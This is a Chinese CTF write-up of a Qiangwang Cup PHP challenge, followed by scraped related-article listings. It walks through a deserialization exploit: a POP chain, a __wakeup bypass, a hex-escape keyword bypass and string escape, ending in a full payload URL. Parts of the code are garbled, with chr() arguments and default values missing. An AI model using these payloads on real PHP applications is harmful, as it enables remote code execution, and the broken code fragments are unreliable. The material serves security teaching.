细说强网杯Web辅助
本文首发于“合天智汇”公众号 作者:Ch3ng
这里就借由强网杯的一道题目“Web辅助”,来讲讲从构造POP链,字符串逃逸到最后获取flag的过程
题目源码
index.php
获取我们传入的username和password,并将其序列化储存
...
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!\n";
}
...
common.php
这里面的read,write有与'\0\0', chr(0)."".chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方
<?php
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
} function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
play.php
在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作
...
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
...
class.php
这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag
<?php
class player{
protected $user;
protected $pass;
protected $admin; public function __construct($user, $pass, $admin = ){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
} public function get_admin(){
$this->admin = ;
return $this->admin ;
}
} class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
} public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
} public function __destruct(){
$this->TP();
} } class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
} public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
} public function __invoke(){
$this->Gank();
} public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
} class jungle{
protected $name = ""; public function __construct($name = "Lee Sin"){
$this->name = $name;
} public function KS(){
system("cat /flag");
} public function __toString(){
$this->KS();
return "";
} }
?>
涉及考点
- POP链的构造
- __wakeup的绕过
- 关键字“name”检测绕过
- 反序列化字符串逃逸
题目出现的魔术方法
- __construct:构造函数,具有构造函数的类会在每次创建新对象时先调用此方法
- __destruct: 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
- wakeup:unserialize()会检查是否存在一个 wakeup() 方法。如果存在,则会先调用
- invoke:当尝试以调用函数的方式调用一个对象时,invoke() 方法会被自动调用
- __toString():用于一个类被当成字符串时应怎样回应
POP链
POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system('cat /flag')在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来
POP链的构造
这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了$name(),如果我们将一个对象赋值给$name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。
我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:
<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
echo $a; //输出:__toString()
在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, 'Yasuo')的操作,我们来看一下:
<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
stristr($a,'name'); //输出__toString()
所以整个POP链已经构成了
topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')
即:
<?php class topsolo{
protected $name; public function __construct($name = 'Riven'){
$this->name = $name;
}
} class midsolo{
protected $name; public function __construct($name){
$this->name = $name;
}
} class jungle{
protected $name = ""; }
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
输出:
O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D
在midsolo中wakeup需要绕过,老套路了,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,这里我将1改为2
O%3A7%3A%22topsolo%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A7%3A%22midsolo%%3A2%3A%7Bs%3A7%3A%%%2A%00name%%3BO%3A6%3A%22jungle%%3A1%3A%7Bs%3A7%3A%%%2A%00name%%3Bs%3A0%3A%%%3B%7D%7D%7D O::"topsolo"::{s::"\000*\000name";O::"midsolo"::{s::"\000*\000name";O::"jungle"::{s::"\000*\000name";s::"";}}}
关键字“name”检测绕过
···
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
···
这里使用十六进制绕过\6e\61\6d\65,并将s改为S
O%3A7%3A%22topsolo%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A7%3A%22midsolo%%3A2%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3BO%3A6%3A%22jungle%%3A1%3A%7BS%3A7%3A%%%2A%\6e\\6d\%%3Bs%3A0%3A%%%3B%7D%7D%7D
字符串逃逸
访问index.php,传入数值,得到序列化内容
O::"player"::{s::"\0*\0user";s::"";s::"\0*\0pass";s::"O:7:"topsolo":1:{S:7:"\*\\6e\\6d\";O:7:"midsolo":2:{S:7:"\*\\6e\\6d\";O:6:"jungle":1:{S:7:"\*\\6e\\6d\";s:0:"";}}}";s::"\0*\0admin";i:;}
可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来
···
function read($data){
$data = str_replace('\0*\0', chr()."*".chr(), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr()."*".chr(), '\0*\0', $data); return $data;
}
···
在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将";s:7:"\0\0pass";s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个\0\0来进行username填充,得到username
username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\
在password中补上被吃掉的pass部分,构造password的提交内容
password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
最后提交
?username=\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\&password=C";s:7:"\*\0pass";O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D
然后访问play.php即可得到flag
实验推荐
PHP反序列化漏洞实验
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
细说强网杯Web辅助的更多相关文章
- 强网杯web之假的反序列化漏洞
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...
- 2019强网杯web upload writeup及关键思路
<?phpnamespace app\web\controller; class Profile{ public $checker; public $filename_tmp; ...
- 2019强网杯web upload分析(pop链)
参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 细说Asp.Net Web API消息处理管道(二)
在细说Asp.Net Web API消息处理管道这篇文章中,通过翻看源码和实例验证的方式,我们知道了Asp.Net Web API消息处理管道的组成类型以及Asp.Net Web API是如何创建消息 ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 强网杯2018 pwn复现
前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
随机推荐
- Python第一次实验
''' 计算 1.输入半径,输出面积和周长 2.输入面积,输出半径及周长 3.输入周长,输出半径及面积 ''' # # 1.输入半径,输出面积和周长 # from math import pi # # ...
- pandas_处理异常值缺失值重复值数据差分
# 处理异常值缺失值重复值数据差分 import pandas as pd import numpy as np import copy # 设置列对齐 pd.set_option("dis ...
- 2020牛客暑期多校训练营 第二场 J Just Shuffle 置换 群论
LINK:Just Shuffle 比较怂群论 因为没怎么学过 置换也是刚理解. 这道题是 已知一个置换\(A\)求一个置换P 两个置换的关键为\(P^k=A\) 且k是一个大质数. 做法是李指导教我 ...
- MyBatis-Plus使用(1)-概述+代码生成器
MyBatis-Plus(简称 MP)是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发.提高效率而生. 官网:https://mp.baomidou.com ...
- node.js 使用----相关常用命令总结
node.js 使用----相关常用命令总结 1. 下载并安装node.js 2. 设置全局模块存放的目录 2.1 查看默认配置 npm config ls 2.2 修改全局模块存放目录 npm co ...
- ios wkwebview didReceiveAuthenticationChallenge crash解决
//需要响应身份验证时调用 同样在block中需要传入用户身份凭证 //现在就是不进行https验证了 然后就闪退不了了 - (void)webView:(WKWebView *)webView di ...
- 关于css布局中,inline-block元素间隙的处理方法
关于inline-block元素间隙的处理 参考橱窗外的小孩,原文链接https://www.cnblogs.com/showcase/p/10469361.html 如下,两个inline-bloc ...
- Prometheus监控神器-Alertmanager篇(1)
本章节主要涵盖了Alertmanager的工作机制与配置文件的比较详细的知识内容,由浅入深的给大家讲解. 警报一直是整个监控系统中的重要组成部分,Prometheus监控系统中,采集与警报是分离的.警 ...
- Dubbo系列之 (一)SPI扩展
一.基础铺垫 1.@SPI .@Activate. @Adaptive a.对于 @SPI,Dubbo默认的特性扩展接口,都必须打上这个@SPI,标识这是个Dubbo扩展点.如果自己需要新增dubbo ...
- 关于vector的erase删除操作的两种不同方法,在linux与visual studio的实现讨论
关于vector的erase删除操作的两种不同方法,在linux与visual studio的实现讨论 1.前言: 最近在做某一个题时,用到了vector的删除操作,利用的是erase()函数删除符合 ...